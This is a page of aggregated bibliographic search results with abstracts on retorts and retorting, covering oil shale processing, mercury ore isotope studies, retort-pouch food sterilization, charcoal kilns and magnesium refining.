a low grade of cement 15. Occidental vertical modified in situ process for the recovery of oil from oil shale, Phase 2. Construction, operation, testing, and environmental impact. Final report, August 1981-December 1982. Volume 1 Energy Technology Data Exchange (ETDEWEB) Stevens, A.L.; Zahradnik, R.L.; Kaleel, R.J. 1984-01-01 Occidential Oil Shale, Inc. (OOSI) recently completed the demonstration of mining, rubblization, ignition, and simulataneous processing of two commericalized modified in situ (MIS) retorts at the Logas Wash facility near DeBeque, Colorado. Upon completion of Retort 6 in 1978, Occidential began incorporating all of the knowledge previously acquired in an effort to design two more commercial-sized MIS retorts. Any commercial venture of the future would require the ability to operate simultaneously more than one retort. Thus, Retorts 7 and 8 were developed during 1980 and 1981 through joint funding of the DOE and OOSI in Phase II. Rubblization of the retorts produced an average rubble void of 18.5% in the low grade shale (17 gallons per ton) at the Logan Wash site. After rubblization, bulkheads were constructed, inlet and offgas pipes were installed and connected to surface processing facilities and liquid product handling systems were connected to the retorts. Extensive instrumentation was installed in cooperation with Sandia National Laboratories for monitoring the complete operation of the retorts. After pre-ignition testing, Retort 8 was ignited in December of 1981 and Retort 7 was ignited in January of 1982. The retorts were operated without interruption from ignition until mid- November of 1982 at which time inlet gas injection was terminated and water quenching was begun. Total product yield from the two retorts was approximately 200,000 barrels of oil, or 70% of the Fischer Assay oil-in-place in the rubblized rock in the two retrots. Water quenching studies were conducted over a period of several months, with the objective of determining the rate of heat extraction from the retorts as well as determining the quantity and quality of offgas and water coming out from the quenching process. Data from these studies are also included in this Summary Report. 62 figs., 18 tabs. 16. Fluidized-bed retorting of Colorado oil shale: Topical report. [None Energy Technology Data Exchange (ETDEWEB) Albulescu, P.; Mazzella, G. 1987-06-01 In support of the research program in converting oil shale into useful forms of energy, the US Department of Energy is developing systems models of oil shale processing plants. These models will be used to project the most attractive combination of process alternatives and identify future direction for R and D efforts. With the objective of providing technical and economic input for such systems models, Foster Wheeler was contracted to develop conceptual designs and cost estimates for commercial scale processing plants to produce syncrude from oil shales via various routes. This topical report summarizes the conceptual design of an integrated oil shale processing plant based on fluidized bed retorting of Colorado oil shale. The plant has a nominal capacity of 50,000 barrels per operating day of syncrude product, derived from oil shale feed having a Fischer Assay of 30 gallons per ton. The scope of the plant encompasses a grassroots facility which receives run of the mine oil shale, delivers product oil to storage, and disposes of the processed spent shale. In addition to oil shale feed, the battery limits input includes raw water, electric power, and natural gas to support plant operations. Design of the individual processing units was based on non-confidential information derived from published literature sources and supplemented by input from selected process licensors. The integrated plant design is described in terms of the individual process units and plant support systems. The estimated total plant investment is similarly detailed by plant section and an estimate of the annual operating requirements and costs is provided. In addition, the process design assumptions and uncertainties are documented and recommendations for process alternatives, which could improve the overall plant economics, are discussed. 17. Gamma 60Co-irradiation of organic matter in the Phosphoria Retort Shale Science.gov (United States) Lewan, M. D.; Ulmishek, G. F.; Harrison, W.; Schreiner, F. 1991-04-01 18. Development of RM-1 type coated electrode for reducing retorts in magnesium refining Institute of Scientific and Technical Information of China (English) 2000-01-01 According to the working condition of high temperature oxidation and sulphidation corrosion of the ZG35Cr24Ni7SiN heat-resisting stainless steel used for reducing retort in magnesium refining, and the practical situation which the weld metal between the body and cover of reducing retort must possess resisting high temperature oxidation and corrosion, a kind of RM-1 type coated electrode for reducing retorts in magnesium refining with special alloying system and excellent usability has been developed. The RM-1 coated electrode is made of H0Cr21Ni10 wire core and is alloyed chromium and nickel simultaneously through coating material and wire core and some rare-earth oxides are added in coating material. The electrode has been verified to be satisfied the operation requirements of practical production. 19. Method for forming an in situ oil shale retort with horizontal free faces Science.gov (United States) Ricketts, Thomas E.; Fernandes, Robert J. 1983-01-01 A method for forming a fragmented permeable mass of formation particles in an in situ oil shale retort is provided. A horizontally extending void is excavated in unfragmented formation containing oil shale and a zone of unfragmented formation is left adjacent the void. An array of explosive charges is formed in the zone of unfragmented formation. The array of explosive charges comprises rows of central explosive charges surrounded by a band of outer explosive charges which are adjacent side boundaries of the retort being formed. The powder factor of each outer explosive charge is made about equal to the powder factor of each central explosive charge. The explosive charges are detonated for explosively expanding the zone of unfragmented formation toward the void for forming the fragmented permeable mass of formation particles having a reasonably uniformly distributed void fraction in the in situ oil shale retort. 20. Mercury isotope fractionation during ore retorting in the Almadén mining district, Spain Science.gov (United States) Gray, John E.; Pribil, Michael J.; Higueras, Pablo L. 2013-01-01 Almadén, Spain, is the world's largest mercury (Hg) mining district, which has produced over 250,000 metric tons of Hg representing about 30% of the historical Hg produced worldwide. The objective of this study was to measure Hg isotopic compositions of cinnabar ore, mine waste calcine (retorted ore), elemental Hg (Hg0(L)), and elemental Hg gas (Hg0(g)), to evaluate potential Hg isotopic fractionation. Almadén cinnabar ore δ202Hg varied from − 0.92 to 0.15‰ (mean of − 0.56‰, σ = 0.35‰, n = 7), whereas calcine was isotopically heavier and δ202Hg ranged from − 0.03‰ to 1.01‰ (mean of 0.43‰, σ = 0.44‰, n = 8). The average δ202Hg enrichment of 0.99‰ between cinnabar ore and calcines generated during ore retorting indicated Hg isotopic mass dependent fractionation (MDF). Mass independent fractionation (MIF) was not observed in any of the samples in this study. Laboratory retorting experiments of cinnabar also were carried out to evaluate Hg isotopic fractionation of products generated during retorting such as calcine, Hg0(L), and Hg0(g). Calcine and Hg0(L) generated during these retorting experiments showed an enrichment in δ202Hg of as much as 1.90‰ and 0.67‰, respectively, compared to the original cinnabar ore. The δ202Hg for Hg0(g) generated during the retorting experiments was as much as 1.16‰ isotopically lighter compared to cinnabar, thus, when cinnabar ore was roasted, the resultant calcines formed were isotopically heavier, whereas the Hg0(g) generated was isotopically lighter in Hg isotopes. 1. Explosion limits analysis of oil shale retorting under areobic condition%油页岩含氧干馏工艺流程爆炸极限分析 Institute of Scientific and Technical Information of China (English) 周洁琼; 张福群; 刘云义 2012-01-01 The main industrial utilization of oil shale is to produce shale oil through a retorting process. In order to lower the carrier gas temperature so as to save energy consumption and achieve better industrial application potential , moderate amount of oxygen was added to the carrier gas in the oil shale retorting process. And the potential security problems owing to combustible mixtures might occur. These tests focused on how gaseous products of thermal decomposition of oil shale changed depending on pyrolysis temperature. Explosion limits under different temperature and inert gas condition combining with theoretical study on explosion limits were analyzed and calculated. The results showed that H2, CH4 are the main combustible gas of the retorting process and the process caused no explosion hazards because of the concentration of flammable gas did not within the limits of explosion danger zone in the whole heating process. It was suggested to prevent explosive occurrence of that process by controlling oxygen flow. The results can give a reference to quantitative understanding gas release law in process of oil shale retorting under areobic condition and antiexplosion treatment.%根据干馏工艺流程配入适量氧气,可以降低载热气体需要预热的温度,以实现低能耗、易于工业生产的特点,设计了一套新型的有氧干馏工艺流程.有氧干馏工艺因其过程中存在可燃性混合物,有发生爆炸事故的可能性,通过实验对所收集的不同温度下的干馏气体的成分与含量进行了分析,结合爆炸极限理论,对该有氧干馏工艺流程的不同温度、不同惰性气体含量条件下可燃气体爆炸极限进行了分析计算.结果表明,可燃气体的浓度在整个反应升温过程中始终没有进入爆炸危险区域,说明该实验装置不具备爆炸危险性;对干馏工艺流程中氧气的输入量的控制,可以防止该工艺流程的火灾爆炸的发生. 2. Effects of organic wastes on water quality from processing of oil shale from the Green River Formation, Colorado, Utah, and Wyoming Science.gov (United States) Leenheer, J.A.; Noyes, T.I. 1986-01-01 A series of investigations were conducted during a 6-year research project to determine the nature and effects of organic wastes from processing of Green River Formation oil shale on water quality. Fifty percent of the organic compounds in two retort wastewaters were identified as various aromatic amines, mono- and dicarboxylic acids phenols, amides, alcohols, ketones, nitriles, and hydroxypyridines. Spent shales with carbonaceous coatings were found to have good sorbent properties for organic constituents of retort wastewaters. However, soils sampled adjacent to an in situ retort had only fair sorbent properties for organic constituents or retort wastewater, and application of retort wastewater caused disruption of soil structure characteristics and extracted soil organic matter constituents. Microbiological degradation of organic solutes in retort wastewaters was found to occur preferentially in hydrocarbons and fatty acid groups of compounds. Aromatic amines did not degrade and they inhibited bacterial growth where their concentrations were significant. Ammonia, aromatic amines, and thiocyanate persisted in groundwater contaminated by in situ oil shale retorting, but thiosulfate was quantitatively degraded one year after the burn. Thiocyanate was found to be the best conservative tracer for retort water discharged into groundwater. Natural organic solutes, isolated from groundwater in contact with Green River Formation oil shale and from the White River near Rangely, Colorado, were readily distinguished from organic constituents in retort wastewaters by molecular weight and chemical characteristic differences. (USGS) 3. Thermal processing of foods: control and automation National Research Council Canada - National Science Library Sandeep, K. P 2011-01-01 .... In addition to validating new control systems, some food companies have started the more difficult task of validating legacy control systems that have been operating for a number of years on retorts or aseptic systems.Thermal Processing... 4. Minimum bed parameters for in situ processing of oil shale. Third quarterly report, April 1-June 30, 1980 Energy Technology Data Exchange (ETDEWEB) Tyner, C. E. 1980-11-01 Oil shale retort runs 028 (16% void) and 029 (7% void), composed of competent shale blocks plus shale rubble, were completed. Retort 028, processed with air at a flux of 0.017 kg/sub air//m/sup 2/ /sub shale/.second, had peak temperatures of 700/sup 0/C, a retorting rate of 1.1 m/day, and a yield of 82% FA. Retort 029, processed with air at a flux of 0.027 kg/sub air//m/sup 2//sub shale/.second, had peak temperatures of 750/sup 0/C, a retorting rate of 1.6 m/day, and a yield of 75% FA. Comparisons of retort model calculations with experimental data from previous retort run 027 (16% void, air flux of .029 kg/sub air//m/sup 2//sub shale/.second were good; observed experimental yield was 95% FA, calculated yield, 92.8%; experimental retorting rates varied from 9.5 to 8.9 cm/h, calculated rates from 10.3 to 10.0 cm/h; observed local heating rates ranged from 29 to 14/sup 0/C/h, calculated heating rates from 20 to 16/sup 0/C/h; and observed peak temperatures ranged from 815 to 825/sup 0/C, calculated from 820 to 825/sup 0/C. 5. Withdrawal of gases and liquids from an in situ oil shale retort Science.gov (United States) Siegel, Martin M. 1982-01-01 An in situ oil shale retort is formed within a subterranean formation containing oil shale. The retort contains a fragmented permeable mass of formation particles containing oil shale. A production level drift extends below the fragmented mass, leaving a lower sill pillar of unfragmented formation between the production level drift and the fragmented mass. During retorting operations, liquid and gaseous products are recovered from a lower portion of the fragmented mass. A liquid outlet line extends from a lower portion of the fragmented mass through the lower sill pillar for conducting liquid products to a sump in the production level drift. Gaseous products are withdrawn from the fragmented mass through a plurality of gas outlet lines distributed across a horizontal cross-section of a lower portion of the fragmented mass. The gas outlet lines extend from the fragmented mass through the lower sill pillar and into the production level drift. The gas outlet lines are connected to a gas withdrawal manifold in the production level drift, and gaseous products are withdrawn from the manifold separately from withdrawal of liquid products from the sump in the production level drift. 6. Improved and more environmentally friendly charcoal production system using a low-cost retort-kiln (Eco-charcoal) Energy Technology Data Exchange (ETDEWEB) 2009-08-15 Research into a low-cost retort-kiln, used to produce charcoal from sustainably managed forests in a more environmentally friendly way (Eco-Charcoal), has been completed and pilot units have been built in India and East Africa. The unit is called ICPS (Improved Charcoal Production System). Importantly, it has a much higher efficiency rating than traditional earth-mound kilns, which have until now been the main means of domestic charcoal production in developing nations. The efficiency of traditional charcoal production methods is about 10%-22% (calculated on using oven-dry wood with 0% water content) while the efficiency of the ICPS is approximately 30%-42%. As compared with traditional carbonisation processes, the ICPS reduces emissions to the atmosphere by up to 75%. The ICPS works in two different phases. During the first phase the ICPS works like a traditional kiln; however, waste wood is burned in a separate fire box to dry the wood. During the second phase of operation the harmful volatiles are burned in a hot 'fire chamber' meaning all resulting emissions are cleaner, minus these already reduced volatiles. The heat gained by flaring the wood gazes, is used and recycled to accelerate the carbonisation process. Unlike traditional methods the ICPS can complete a carbonisation cycle within 12 h. (author) 7. Wet scrubbing for control of particular emissions from oil shale retorting Energy Technology Data Exchange (ETDEWEB) Rinaldi, G.M.; Thurnau, R.C.; Lotwala, J.T. 1981-01-01 A mobile pilot-scale venturi scrubber was tested for control of particulate emissions from the Laramie Energy Techonolgy Center's 136-mg (150-ton)-capacity oil shale retort. The entire retort off-gas flow of 15.4 m/sup 3//min (545 ft/sup 3//min), discharged from a heat exchanger at a temperature of 58 /degree/C and saturated with water, was scrubbed at liquid-to-gas ratios of l.5 to 2.4 L/m/sup 3/. Sampling and analysis of the scrubber inlet and outlet gases were conducted to determine particulate removal. Outlet particulate concentrations were consistently reduced to 35 mg/m/sup 3/, even through inlet loadings varied from 125 to 387 mg/m/sup 3/ and 50 weight percent of the particles were less than four micrometers in diameter. Particulate control efficiencies up to 94 percent were achieved, although no correlation to liquid-to-gas ratio was observed. Simultaneous control of ammonia emissions, at efficiencies up to 75 percent, was also observed. 5 refs. 8. Effect of combination processing on the microbial, chemical and sensory quality of ready-to-eat (RTE) vegetable pulav Energy Technology Data Exchange (ETDEWEB) Kumar, R., E-mail: kumardfrl@gmail.com [Defence Food Research Laboratory, Mysore, Karnataka 570011 (India); George, Johnsy; Rajamanickam, R.; Nataraju, S.; Sabhapathy, S.N.; Bawa, A.S. [Defence Food Research Laboratory, Mysore, Karnataka 570011 (India) 2011-12-15 Effect of irradiation in combination with retort processing on the shelf life and safety aspects of an ethnic Indian food product like vegetable pulav was investigated. Gamma irradiation of RTE vegetable pulav was carried out at different dosage rates with {sup 60}Co followed by retort processing. The combination processed samples were analysed for microbiological, chemical and sensory characteristics. Microbiological analysis indicated that irradiation in combination with retort processing has significantly reduced the microbial loads whereas the chemical and sensory analysis proved that this combination processing is effective in retaining the properties even after storage for one year at ambient conditions. The results also indicated that a minimum irradiation dosage at 4.0 kGy along with retort processing at an F{sub 0} value of 2.0 is needed to achieve the desired shelf life with improved organoleptic qualities. - Highlights: > A combination processing involving gamma irradiation and retort processing. > Combination processing reduced microbial loads. > Minimum dose of 4.0 kGy together with retort processing at F{sub 0}-2.0 is required to achieve commercial sterility. 9. Sterilization of Staple Foods in Retort Pouch%软包装主食罐头杀菌工艺研究 Institute of Scientific and Technical Information of China (English) 郑志强; 刘嘉喜; 王越鹏 2012-01-01 对软包装主食罐头的杀菌工艺进行研究,分析在不同杀菌温度和时间条件下食品中心温度及F值的变化,确定最佳杀菌方式为双峰高温杀菌,杀菌参数为80℃、5min,110℃、5min,121℃、12min,125℃、(30+30)s,峰底113℃,该杀菌工艺能够有效降低软包装主食罐头的杀菌强度,杀菌后的产品大大降低了因高温产生的后熟蒸馏味,大幅延长了保质期,最终产品品质显著提高。%This study was undertaken to investigate the sterilization of retort pouches containing staple foods.Variations in central temperature and F value were analyzed under various conditions of sterilization temperature and time.The optimal sterilization process was double peak high temperature sterilization at 80 ℃ for 5 min,110 ℃ for 5 min,121 ℃ for 12 min and 125 ℃ for 30 s + 30 s with a peak base temperature of 113 ℃.Under these conditions,the sterilization intensity of retort pouches was attenuated effectively.Moreover,the distillation odor caused by high-temperature sterilization was reduced greatly,and the shelf life was markedly extended.As a result,the quality of staple foods could be obviously improved. 10. Post Retort, Pre Hydro-treat Upgrading of Shale Oil Energy Technology Data Exchange (ETDEWEB) Gordon, John 2012-09-30 Various oil feedstocks, including oil from oil shale, bitumen from tar sands, heavy oil, and refin- ery streams were reacted with the alkali metals lithium or sodium in the presence of hydrogen or methane at elevated temperature and pressure in a reactor. The products were liquids with sub- stantially reduced metals, sulfur and nitrogen content. The API gravity typically increased. Sodi- um was found to be more effective than lithium in effectiveness. The solids formed when sodium was utilized contained sodium sulfide which could be regenerated electrochemically back to so- dium and a sulfur product using a "Nasicon", sodium ion conducting membrane. In addition, the process was found to be effective reducing total acid number (TAN) to zero, dramatically reduc- ing the asphaltene content and vacuum residual fraction in the product liquid. The process has promise as a means of eliminating sulfur oxide and carbon monoxide emissions. The process al- so opens the possibility of eliminating the coking process from upgrading schemes and upgrad- ing without using hydrogen. 11. Economics derived from detailed and definitive design of Superior's Circlar Grate Retort for an 18,000 BPD oil shale demonstration plant Energy Technology Data Exchange (ETDEWEB) Lilley, D.F.; Fishback, J.W. 1983-04-01 Superior Oil Company has continued efforts to reduce to practice the Superior retorting technology as applied to oil shale. From February 1981 to October 1982, Superior has participated in a cost sharing agreement with the Department of Energy for detailed design of the Superior Circular Grate Retort, definitive design of retort ancillaries, auxiliaries and offsites, and mining, and for capital and operating cost estimates for a nominal 18,000 BPD oil shale plant. The terms, detailed design and definitive design, are defined. The design documents are described in sufficient detail to render an overview to the reader of the basis used for project cost estimates and economic analysis. 12. Comparison of the Acceptability of Various Oil Shale Processes Energy Technology Data Exchange (ETDEWEB) Burnham, A K; McConaghy, J R 2006-03-11 While oil shale has the potential to provide a substantial fraction of our nation's liquid fuels for many decades, cost and environmental acceptability are significant issues to be addressed. Lawrence Livermore National Laboratory (LLNL) examined a variety of oil shale processes between the mid 1960s and the mid 1990s, starting with retorting of rubble chimneys created from nuclear explosions [1] and ending with in-situ retorting of deep, large volumes of oil shale [2]. In between, it examined modified-in-situ combustion retorting of rubble blocks created by conventional mining and blasting [3,4], in-situ retorting by radio-frequency energy [5], aboveground combustion retorting [6], and aboveground processing by hot-solids recycle (HRS) [7,8]. This paper reviews various types of processes in both generic and specific forms and outlines some of the tradeoffs for large-scale development activities. Particular attention is given to hot-recycled-solids processes that maximize yield and minimize oil shale residence time during processing and true in-situ processes that generate oil over several years that is more similar to natural petroleum. 13. Method for establishing a combustion zone in an in situ oil shale retort having a pocket at the top Science.gov (United States) Cha, Chang Y. 1980-01-01 An in situ oil shale retort having a top boundary of unfragmented formation and containing a fragmented permeable mass has a pocket at the top, that is, an open space between a portion of the top of the fragmented mass and the top boundary of unfragmented formation. To establish a combustion zone across the fragmented mass, a combustion zone is established in a portion of the fragmented mass which is proximate to the top boundary. A retort inlet mixture comprising oxygen is introduced to the fragmented mass to propagate the combustion zone across an upper portion of the fragmented mass. Simultaneously, cool fluid is introduced to the pocket to prevent overheating and thermal sloughing of formation from the top boundary into the pocket. 14. Effect of different binders on the physico-chemical, textural, histological, and sensory qualities of retort pouched buffalo meat nuggets. Science.gov (United States) Devadason, I Prince; Anjaneyulu, A S R; Babji, Y 2010-01-01 The functional properties of 4 binders, namely corn starch, wheat semolina, wheat flour, and tapioca starches, were evaluated to improve the quality of buffalo meat nuggets processed in retort pouches at F(0) 12.13. Incorporation of corn starch in buffalo meat nuggets produced more stable emulsion than other binders used. Product yield, drip loss, and pH did not vary significantly between the products with different binders. Shear force value was significantly higher for product with corn starch (0.42 +/- 0.0 Kg/cm(3)) followed by refined wheat flour (0.36 +/- 0.010 Kg/cm(3)), tapioca starch (0.32 +/- 0.010 Kg/cm(3)), and wheat semolina (0.32 +/- 0.010 Kg/cm(3)). Type of binder used had no significant effect on frying loss, moisture, and protein content of the product. However, fat content was higher in products with corn starch when compared to products with other binders. Texture profile indicated that products made with corn starch (22.17 +/- 2.55 N) and refined wheat flour (21.50 +/- 0.75 N) contributed firmer texture to the product. Corn starch contributed greater chewiness (83.8 +/- 12.51) to the products resulting in higher sensory scores for texture and overall acceptability. Products containing corn starch showed higher sensory scores for all attributes in comparison to products with other binders. Panelists preferred products containing different binders in the order of corn starch (7.23 +/- 0.09) > refined wheat flour (6.48 +/- 0.13) > tapioca starch (6.45 +/- 0.14) > wheat semolina (6.35 +/- 0.13) based on sensory scores. Histological studies indicated that products with corn starch showed dense protein matrix, uniform fat globules, and less number of vacuoles when compared to products made with other binders. The results indicated that corn flour is the better cereal binder for developing buffalo meat nuggets when compared to all other binders based on physico-chemical and sensory attributes. 15. Effects of in-situ oil-shale retorting on water quality near Rock Springs, Wyoming, Volume 1 Energy Technology Data Exchange (ETDEWEB) Lindner-Lunsford, J.B.; Eddy, C.A.; Plafcan, M.; Lowham, H.W. 1990-12-01 Experimental in-situ retorting techniques (methods of extracting shale oil without mining) were used from 1969 to 1979 by the Department of Energy's (DOE) Laramie Energy Technology Center (LETC) at a test area near Rock Springs in southwestern Wyoming. The retorting experiments at site 9 have produced elevated concentrations of some contaminants in the ground water. During 1988 and 1989, the US Geological Survey, in cooperation with the US Department of Energy, conducted a site characterization study to evaluate the chemical contamination of ground water at the site. Water samples from 34 wells were analyzed; more than 70 identifiable organic compounds were detected using a combination of gas chromatography and mass spectrometry analytical methods. This report provides information that can be used to evaluate possible remedial action for the site. Remediation techniques that may be applicable include those techniques based on removing the contaminants from the aquifer and those based on immobilizing the contaminants. Before a technique is selected, the risks associated with the remedial action (including the no-action alternative) need to be assessed, and the criteria to be used for decisions regarding aquifer restoration need to be defined. 31 refs., 23 figs., 9 tabs. 16. Heavy metal removal from produced water using retorted shale; Remocao de metais pesados em aguas produzidas utilizando xisto retortado Energy Technology Data Exchange (ETDEWEB) Pimentel, Patricia M.; Melo, Marcos A.F.; Melo, Dulce M.A.; Silva Junior, Carlos N.; Assuncao, Ary L.C. [Universidade Federal do Rio Grande do Norte (UFRN), Natal, RN (Brazil); Anjos, Marcelino J. [Universidade Federal, Rio de Janeiro, RJ (Brazil). Coordenacao dos Programas de Pos-graduacao de Engenharia 2004-07-01 The Production of oil and gas is usually accompanied by the production of large volume of water that can have significant environmental effects if not properly treated. In this work, the use of retort shale was investigated as adsorbent agent to remove heavy metals in produced water. Batch adsorption studies in synthetic solution were performed for several metal ions. The efficiency removal was controlled by solution pH, adsorbent dosage, and initial ion concentration and agitation times. Two simple kinetic models were used, pseudo-first- and second-order, were tested to investigate the adsorption mechanisms. The equilibrium data fitted well with Langmuir and Freundlich models. The produced water samples were treated by retorted shale under optimum adsorption conditions. Synchrotron radiation total reflection X-ray fluorescence was used to analyze the elements present in produced water samples from oil field in Rio Grande do Norte, Brazil. The removal was found to be approximately 20-50% for Co, Ni, Sr and above 80% for Cr, Ba, Hg and Pb. (author) 17. Paraho environmental data. Part I. Process characterization. Par II. Air quality. Part III. Water quality Energy Technology Data Exchange (ETDEWEB) Heistand, R.N.; Atwood, R.A.; Richardson, K.L. 1980-06-01 From 1973 to 1978, Development Engineering, Inc. (DEI), a subsidiary of Paraho Development Corporation, demostrated the Paraho technology for surface oil shale retorting at Anvil Points, Colorado. A considerable amount of environmentally-related research was also conducted. This body of data represents the most comprehensive environmental data base relating to surface retorting that is currently available. In order to make this information available, the DOE Office of Environment has undertaken to compile, assemble, and publish this environmental data. The compilation has been prepared by DEI. This report includes the process characterization, air quality, and water quality categories. 18. The Pidgeon Process in China and Its Future Science.gov (United States) Zang, Jing Chun; Ding, Weinan Magnesium production in China has been growing steadily over the past 10 years. Most of the metal has been produced by the Pidgeon process. This process uses horizontal steel tubes called retorts, in furnaces and under vacuum. In the retorts mixtures of finely ground calcined dolomite and ferrosilicon formed into briquettes react to form magnesium vapors which are condensed and later remelted into ingots. The Pidgeon process was long thought to be uneconomic and obsolete. The Chinese have used the advantages of excellent raw material, location, large skilled labor supply, and low capital costs to produce magnesium by this process. The Chinese magnesium is being sold at the lowest prices in the world and lower than aluminum on a pound for pound basis. 19. 21 CFR 113.87 - Operations in the thermal processing room. Science.gov (United States) 2010-04-01 ..., car, or crate used to hold containers in a retort, or one or more containers therein, shall, if it contains any retorted food product, be plainly and conspicuously marked with a heat-sensitive indicator, or... change has occurred in the heat-sensitive indicator as a result of retorting for all retort baskets... 20. A "Retort Courteous." Science.gov (United States) Kingsbury, Mary E. 1979-01-01 Responds to article by Pauline Wilson (School Library Journal, v25 n6 Feb 1979) in terms of defining the role of children's librarians, clarifying the goals of children's services, making a case for such services, improving the impression made by children's librarians, determining appropriate preparation, and understanding and achieving quality… 1. Closed Process of Shale Oil Recovery from Circulating Washing Water by Hydrocyclones Directory of Open Access Journals (Sweden) Yuan Huang 2016-12-01 Full Text Available The conventional oil recovery system in the Fushun oil shale retorting plant has a low oil recovery rate. A large quantity of fresh water is used in the system, thereby consuming a considerable amount of water and energy, as well as polluting the environment. This study aims to develop a closed process of shale oil recovery from the circulating washing water for the Fushun oil shale retorting plant. The process would increase oil yield and result in clean production. In this process, oil/water hydrocyclone groups were applied to decrease the oil content in circulating water and to simultaneously increase oil yield. The oil sludge was removed by the solid/liquid hydrocyclone groups effectively, thereby proving the smooth operation of the devices and pipes. As a result, the oil recovery rate has increased by 5.3 %, which corresponds to 230 tonnes a month. 2. Simulation and Design of Shale Flashing Retorting Recovery Oil and Gas%油页岩闪速干馏油气回收工艺设计及模拟 Institute of Scientific and Technical Information of China (English) 张原源; 曹祖宾; 韩冬云 2016-01-01 According to the process characteristics of flashing retorting process,a set of suitable for high temperature oil washing oil vapor recovery technology was designed,combined with pilot plant field data,using plus Aspen software for process simulation.Shale oil was separated to heavy oil,heavy diesel oil,light oil fraction and gasoline fraction by the oil washing method.The process produced steam as by-product and it had the advantages of high recovery rate,low oil loss,low energy consumption,and could effectively avoided environmental pollution.Using this process,the rate of gas recovery could be greatly enhanced:crude oil washing tower could recycle 39.7% of the oil steam,heavy diesel oil washing tower could recycle 60.3% of the oil steam.Compared with the traditional process,it could improve the recovery rate of 10%-20%.%针对闪速干馏工艺特点,设计了一套适合高温油洗法回收油气工艺,并结合中试装置现场数据,运用Aspen Plus 软件进行了工艺模拟.油洗工艺可将页岩油粗分为重油、重柴油馏分、轻油馏分、汽油馏分.该工艺副产水蒸气,具有油损失小、能耗低、可减轻环境污染等特点,采用该回收工艺,可大幅度提升干馏油气的回收率,重油洗涤塔可回收 39.7%的油蒸气,重柴油洗涤塔可回收 60.3%的油蒸气,与传统工艺相比回收率可提高 10%~20%. 3. Occidental vertical modified in situ process for the recovery of oil from oil shale. Phase II. Quarterly progress report, September 1-November 30, 1979 Energy Technology Data Exchange (ETDEWEB) McDermott, William F. 1979-12-01 The major activities at OOSI's Logan Wash site during the quarter were: driving the access drifts towards the underground locations for Retorts 7 and 8; manway raise boring; constructing the change house; rubbling the first lift of Mini-Retort (MR)1; preparing the Mini-Retorts for tracer testing; coring of Retort 3E; and beginning the DOE instrumentation program. 4. Caracterização e uso de xisto para adsorção de chumbo (II em solução Characterization and use of retorted shale for adsorption of lead (II in solution Directory of Open Access Journals (Sweden) P. M. Pimentel 2006-09-01 5. Food processing by high hydrostatic pressure. Science.gov (United States) Yamamoto, Kazutaka 2017-04-01 High hydrostatic pressure (HHP) process, as a nonthermal process, can be used to inactivate microbes while minimizing chemical reactions in food. In this regard, a HHP level of 100 MPa (986.9 atm/1019.7 kgf/cm(2)) and more is applied to food. Conventional thermal process damages food components relating color, flavor, and nutrition via enhanced chemical reactions. However, HHP process minimizes the damages and inactivates microbes toward processing high quality safe foods. The first commercial HHP-processed foods were launched in 1990 as fruit products such as jams, and then some other products have been commercialized: retort rice products (enhanced water impregnation), cooked hams and sausages (shelf life extension), soy sauce with minimized salt (short-time fermentation owing to enhanced enzymatic reactions), and beverages (shelf life extension). The characteristics of HHP food processing are reviewed from viewpoints of nonthermal process, history, research and development, physical and biochemical changes, and processing equipment. 6. Oil Sludge Treatment in Oil Shale Retorting Process%油母页岩干馏生产过程中的油泥处理 Institute of Scientific and Technical Information of China (English) 何红梅 2009-01-01 研究了在油母页岩干馏生产各个过程中的油泥的来源及其特点,利用废甲苯进行萃取、热碱水进行洗脱,处理回收页岩油.页岩油的回收率与碳酸钠的质量浓度、废甲苯的质量以及处理温度有关.把处理后的油泥渣与页岩粉尘、固硫剂等进行搅拌混合后压碇成型,经干燥后,进行低温干馏生产,从而实现油泥的资源化、无害化处理. 7. Application of transfer functions to canned tuna fish thermal processing. Science.gov (United States) Ansorena, M R; del Valle, C; Salvadori, V O 2010-02-01 Design and optimization of thermal processing of foods need accurate dynamic models to ensure safe and high quality food products. Transfer functions had been demonstrated to be a useful tool to predict thermal histories, especially under variable operating conditions. This work presents the development and experimental validation of a dynamic model (discrete transfer function) for the thermal processing of tuna fish in steam retorts. Transfer function coefficients were obtained numerically, using commercial software of finite elements (COMSOL Multiphysics) to solve the heat transfer balance. Dependence of transfer function coefficients on the characteristic dimensions of cylindrical containers (diameter and height) and on the sampling interval is reported. A simple equation, with two empirical parameters that depends on the container dimensions, represented the behavior of transfer function coefficients with very high accuracy. Experimental runs with different size containers and different external conditions (constant and variable retort temperature) were carried out to validate the developed methodology. Performance of the thermal process simulation was tested for predicting internal product temperature of the cold point and lethality and very satisfactory results were found. The developed methodology can play an important role in reducing the computational effort while guaranteeing accuracy by simplifying the calculus involved in the solution of heat balances with variable external conditions and emerges as a potential approach to the implementation of new food control strategies leading not only to more efficient processes but also to product quality and safety. 8. Thermal inactivation of Listeria monocytogenes and Yersinia enterocolitica in minced beef under laboratory conditions and in sous-vide prepared minced and solid beef cooked in a commercial retort. Science.gov (United States) Bolton, D J; McMahon, C M; Doherty, A M; Sheridan, J J; McDowell, D A; Blair, I S; Harrington, D 2000-04-01 D-values were obtained for Listeria monocytogenes and Yersinia enterocolitica at 50, 55 and 60 degrees C in vacuum-packed minced beef samples heated in a laboratory water-bath. The experiment was repeated using vacutainers, which allowed heating of the beef to the desired temperature before inoculation. D-values of between 0.15 and 36.1 min were obtained for L. monocytogenes. Pre-heating the beef samples significantly affected (P < 0.05) the D60 value only. D-values for Y. enterocolitica ranged from 0.55 to 21.2 min and all the D-values were significantly different (P < 0.05) after pre-heating. In general, the D-values obtained for core inoculated solid beef samples were significantly higher (P < 0.05) than those generated in minced beef when heated in a Barriquand Steriflow commercial retort. 9. 直立炉、焦炉荒煤气微压自动调节的改进%The improvement of micropressure automatic control for raw gas from vertical retorts and tar ovens Institute of Scientific and Technical Information of China (English) 薛润林; 张勇; 刘玉霞 2001-01-01 This article presents the use of rapid dampers in a raw gas pressure control system to change the pressure tap position of a speed governor for improving the top pressure of a vertical retort and a tar oven. This technological improvement can keep the pneumatic or electric butter fly valves working in a stable way and the raw gas micropressure proper under automatic control.%本文介绍了对直立炉、焦炉炉顶压力,使用快速阻尼器改进变速器取压点位置等技改措施,确保气动蝶阀和电动蝶阀的稳定运行,实现荒煤气微压自动调节。 10. Effect of oxygen permeance of retort pouches on quality degradation in boiled bamboo shoots%蒸煮袋材料透氧性对水煮笋品质劣变的影响 Institute of Scientific and Technical Information of China (English) 潘梦垚; 卢立新; 唐亚丽; 王军 2013-01-01 